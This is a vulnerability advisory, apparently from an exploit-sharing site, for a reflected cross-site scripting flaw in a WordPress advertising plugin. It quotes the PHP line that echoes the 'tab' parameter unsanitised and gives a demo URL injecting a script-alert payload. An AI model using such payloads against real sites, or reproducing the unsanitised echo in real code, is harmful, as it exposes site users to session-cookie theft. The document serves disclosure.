[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

WordPress PopCash.Net Publisher Code Integration 1.0 Cross Site Scripting Vulnerability

Author
Ricardo Sanchez
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-28777
Category
web applications
Date add
12-10-2017
Platform
php
Credit  Ricardo Sanchez
Vulnerable PopCash.Net Publisher Code Integration plugin 1.0

PopCash.Net Publisher Code Integration plugin is prone to a cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the "tab" value is not filter correcly:
<div class="row">
  <div class="col-md-4 pull-left" style="margin-bottom:15px;"><input
type="button" onclick="location.href='admin.php?page=popcash-net&tab=<?php
echo $_GET['tab'] ?>&d_status=switch';" value="<?php echo
(get_option('popcash_net_disabled') == 1 ? 'Enable PopUnder Code' :
'Disable PopUnder Code'); ?>" class="button-secondary" /></div>
  <div class="col-md-4 col-xs-8 col-md-offset-0 col-xs-offset-2"><?php
echo pcit_code_disabled(); ?></div>
</div>


Demo url:*http://localhost/wordpress/wp-admin/admin.php?page=popcash-net&tab=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
<http://localhost/wordpress/wp-admin/admin.php?page=popcash-net&tab=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E>*

#  0day.today [2024-11-16]  #